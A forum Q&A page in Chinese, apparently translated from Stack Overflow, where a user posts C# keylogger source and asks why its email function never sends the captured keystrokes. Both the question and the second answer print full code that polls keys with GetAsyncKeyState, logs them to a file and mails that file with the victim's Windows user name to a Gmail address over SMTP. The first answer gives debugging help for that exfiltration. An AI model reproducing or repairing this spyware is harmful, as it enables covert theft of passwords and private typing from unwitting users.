C# Keylogger 邮件函数

Question

我使用控制台应用程序使自己成为 c# 中的键盘记录器。（我自己没有完全做到这一点，只是很大一部分）。所以我的键盘记录器中的问题是我正在尝试向其中添加邮件功能但是当我向随机密钥发送垃圾邮件时，它们将被写入特定的文本文件但不会被邮寄，这有点烦人......

我想知道是否有人可以帮助我。

class Program
{
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(int i);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetConsoleWindow();

    [DllImport("user32.dll")]
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);

    static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\lel.txt");

    static void Main(string[] args)
    {
        Keylogger();
    }

    static void mail()
    {
        while (true)
        {
            string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
            MailMessage mail = new MailMessage();
            mail.To.Add("mymail@gmail.com");
            mail.From = new MailAddress("mymail@gmail.com", "gauthier", System.Text.Encoding.UTF8);
            mail.Subject = "Keylog from " + userName;
            mail.SubjectEncoding = System.Text.Encoding.UTF8;
            mail.Body = "Keylogged!";
            mail.BodyEncoding = System.Text.Encoding.UTF8;
            mail.IsBodyHtml = false;
            mail.Priority = MailPriority.High;
            SmtpClient client = new SmtpClient();
            client.Credentials = new System.Net.NetworkCredential("mymail@gmail.com", "password");
            client.Port = 587;
            client.Host = "smtp.gmail.com";
            client.EnableSsl = true;
            Attachment data = new Attachment(path);
            mail.Attachments.Add(data);
            client.Send(mail);
        }
    }

    static void Keylogger()
    {
        StreamWriter sw = new StreamWriter(path);

        while (true)
        {
            Thread.Sleep(50);
            for (Int32 i = 0; i < 255; i++)
            {

                int KeySt = GetAsyncKeyState(i);

                if (KeySt == 1 || KeySt == -32767)
                {

                    if (((Keys)i) == Keys.A)
                    {
                        sw.Write("a");
                    }

                    else if (((Keys)i) == Keys.B)
                    {
                        sw.Write("b");
                    }

                    else if (((Keys)i) == Keys.C)
                    {
                        sw.Write("c");
                    }

                    else if (((Keys)i) == Keys.D)
                    {
                        sw.Write("d");
                    }

                    else if (((Keys)i) == Keys.E)
                    {
                        sw.Write("e");
                    }

                    else if (((Keys)i) == Keys.F)
                    {
                        sw.Write("f");
                    }

                    else if (((Keys)i) == Keys.G)
                    {
                        sw.Write("g");
                    }

                    else if (((Keys)i) == Keys.H)
                    {
                        sw.Write("h");
                    }

                    else if (((Keys)i) == Keys.I)
                    {
                        sw.Write("i");
                    }

                    else if (((Keys)i) == Keys.J)
                    {
                        sw.Write("j");
                    }

                    else if (((Keys)i) == Keys.K)
                    {
                        sw.Write("k");
                    }

                    else if (((Keys)i) == Keys.L)
                    {
                        sw.Write("l");
                    }

                    else if (((Keys)i) == Keys.M)
                    {
                        sw.Write("m");
                    }

                    else if (((Keys)i) == Keys.N)
                    {
                        sw.Write("n");
                    }

                    else if (((Keys)i) == Keys.O)
                    {
                        sw.Write("o");
                    }

                    else if (((Keys)i) == Keys.P)
                    {
                        sw.Write("p");
                    }

                    else if (((Keys)i) == Keys.Q)
                    {
                        sw.Write("q");
                    }

                    else if (((Keys)i) == Keys.R)
                    {
                        sw.Write("r");
                    }

                    else if (((Keys)i) == Keys.S)
                    {
                        sw.Write("s");
                    }

                    else if (((Keys)i) == Keys.T)
                    {
                        sw.Write("t");
                    }

                    else if (((Keys)i) == Keys.U)
                    {
                        sw.Write("u");
                    }

                    else if (((Keys)i) == Keys.V)
                    {
                        sw.Write("v");
                    }

                    else if (((Keys)i) == Keys.W)
                    {
                        sw.Write("w");
                    }

                    else if (((Keys)i) == Keys.X)
                    {
                        sw.Write("x");
                    }

                    else if (((Keys)i) == Keys.Y)
                    {
                        sw.Write("y");
                    }

                    else if (((Keys)i) == Keys.Z)
                    {
                        sw.Write("z");
                    }

                    else if (((Keys)i) == Keys.Enter)
                    {
                        sw.Write(Environment.NewLine);
                    }

                    else if (((Keys)i) == Keys.Space)
                    {
                        sw.Write(" ");
                    }

                    else if (((Keys)i) == Keys.NumPad0)
                    {
                        sw.Write("0");
                    }

                    else if (((Keys)i) == Keys.NumPad1)
                    {
                        sw.Write("1");
                    }

                    else if (((Keys)i) == Keys.NumPad2)
                    {
                        sw.Write("2");
                    }

                    else if (((Keys)i) == Keys.NumPad3)
                    {
                        sw.Write("3");
                    }

                    else if (((Keys)i) == Keys.NumPad4)
                    {
                        sw.Write("4");
                    }

                    else if (((Keys)i) == Keys.NumPad5)
                    {
                        sw.Write("5");
                    }

                    else if (((Keys)i) == Keys.NumPad6)
                    {
                        sw.Write("6");
                    }

                    else if (((Keys)i) == Keys.NumPad7)
                    {
                        sw.Write("7");
                    }
                    else if (((Keys)i) == Keys.NumPad8)
                    {
                        sw.Write("8");
                    }
                    else if (((Keys)i) == Keys.NumPad9)
                    {
                        sw.Write("9");
                    }

                    else if (((Keys)i) == Keys.CapsLock)
                    {
                        sw.Write("[CL]");
                    }

                    sw.Flush();
                }
            }

        }
    }

}

Answer 1

您没有在代码的任何地方调用您的 mail() 方法。这是一件好事，因为它最终会陷入无限循环，并且您可能会因为发送太多邮件而被 Gmail 阻止。我会在某处扔一个长 Thread.Sleep()。

Answer 2

我的控制台没有什么特别之处。这是我的源代码：

class Program
{
    [DllImport("user32.dll")]
    public static extern int GetAsyncKeyState(int i);

    static string path = (Environment.GetFolderPath(Environment.SpecialFolder.Desktop) + "\lel.txt");

    static void Main(string[] args)
    {
        Keylogger();
        mail();
    }

    static void mail()
    {
        Thread.Sleep(60000);
        string userName = System.Security.Principal.WindowsIdentity.GetCurrent().Name;
        MailMessage mail = new MailMessage();
        mail.To.Add("gauthier.cremers1@gmail.com");
        mail.From = new MailAddress("gauthier.cremers1@gmail.com", "gauthier", System.Text.Encoding.UTF8);
        mail.Subject = "Keylog from " + userName;
        mail.SubjectEncoding = System.Text.Encoding.UTF8;
        mail.Body = "Keylogged!";
        mail.BodyEncoding = System.Text.Encoding.UTF8;
        mail.IsBodyHtml = false;
        mail.Priority = MailPriority.High;
        SmtpClient client = new SmtpClient();
        client.Credentials = new System.Net.NetworkCredential("gauthier.cremers1@gmail.com", "password");
        client.Port = 587;
        client.Host = "smtp.gmail.com";
        client.EnableSsl = true;
        Attachment data = new Attachment(path);
        mail.Attachments.Add(data);

        client.Send(mail);

    }

    static void Keylogger()
    {
        StreamWriter sw = new StreamWriter(path);

        while (true)
        {
            Thread.Sleep(50);
            for (Int32 i = 0; i < 255; i++)
            {

                int KeySt = GetAsyncKeyState(i);

                if (KeySt == 1 || KeySt == -32767)
                {

                    if (((Keys)i) == Keys.A)
                    {
                        sw.Write("a");
                    }

                    else if (((Keys)i) == Keys.B)
                    {
                        sw.Write("b");
                    }

                    else if (((Keys)i) == Keys.C)
                    {
                        sw.Write("c");
                    }

                    else if (((Keys)i) == Keys.D)
                    {
                        sw.Write("d");
                    }

                    else if (((Keys)i) == Keys.E)
                    {
                        sw.Write("e");
                    }

                    else if (((Keys)i) == Keys.F)
                    {
                        sw.Write("f");
                    }

                    else if (((Keys)i) == Keys.G)
                    {
                        sw.Write("g");
                    }

                    else if (((Keys)i) == Keys.H)
                    {
                        sw.Write("h");
                    }

                    else if (((Keys)i) == Keys.I)
                    {
                        sw.Write("i");
                    }

                    else if (((Keys)i) == Keys.J)
                    {
                        sw.Write("j");
                    }

                    else if (((Keys)i) == Keys.K)
                    {
                        sw.Write("k");
                    }

                    else if (((Keys)i) == Keys.L)
                    {
                        sw.Write("l");
                    }

                    else if (((Keys)i) == Keys.M)
                    {
                        sw.Write("m");
                    }

                    else if (((Keys)i) == Keys.N)
                    {
                        sw.Write("n");
                    }

                    else if (((Keys)i) == Keys.O)
                    {
                        sw.Write("o");
                    }

                    else if (((Keys)i) == Keys.P)
                    {
                        sw.Write("p");
                    }

                    else if (((Keys)i) == Keys.Q)
                    {
                        sw.Write("q");
                    }

                    else if (((Keys)i) == Keys.R)
                    {
                        sw.Write("r");
                    }

                    else if (((Keys)i) == Keys.S)
                    {
                        sw.Write("s");
                    }

                    else if (((Keys)i) == Keys.T)
                    {
                        sw.Write("t");
                    }

                    else if (((Keys)i) == Keys.U)
                    {
                        sw.Write("u");
                    }

                    else if (((Keys)i) == Keys.V)
                    {
                        sw.Write("v");
                    }

                    else if (((Keys)i) == Keys.W)
                    {
                        sw.Write("w");
                    }

                    else if (((Keys)i) == Keys.X)
                    {
                        sw.Write("x");
                    }

                    else if (((Keys)i) == Keys.Y)
                    {
                        sw.Write("y");
                    }

                    else if (((Keys)i) == Keys.Z)
                    {
                        sw.Write("z");
                    }

                    else if (((Keys)i) == Keys.Enter)
                    {
                        sw.Write(Environment.NewLine);
                    }

                    else if (((Keys)i) == Keys.Space)
                    {
                        sw.Write(" ");
                    }

                    else if (((Keys)i) == Keys.NumPad0)
                    {
                        sw.Write("0");
                    }

                    else if (((Keys)i) == Keys.NumPad1)
                    {
                        sw.Write("1");
                    }

                    else if (((Keys)i) == Keys.NumPad2)
                    {
                        sw.Write("2");
                    }

                    else if (((Keys)i) == Keys.NumPad3)
                    {
                        sw.Write("3");
                    }

                    else if (((Keys)i) == Keys.NumPad4)
                    {
                        sw.Write("4");
                    }

                    else if (((Keys)i) == Keys.NumPad5)
                    {
                        sw.Write("5");
                    }

                    else if (((Keys)i) == Keys.NumPad6)
                    {
                        sw.Write("6");
                    }

                    else if (((Keys)i) == Keys.NumPad7)
                    {
                        sw.Write("7");
                    }
                    else if (((Keys)i) == Keys.NumPad8)
                    {
                        sw.Write("8");
                    }
                    else if (((Keys)i) == Keys.NumPad9)
                    {
                        sw.Write("9");
                    }

                    else if (((Keys)i) == Keys.CapsLock)
                    {
                        sw.Write("[CL]");
                    }

                    sw.Flush();
                }
            }

        }
    }

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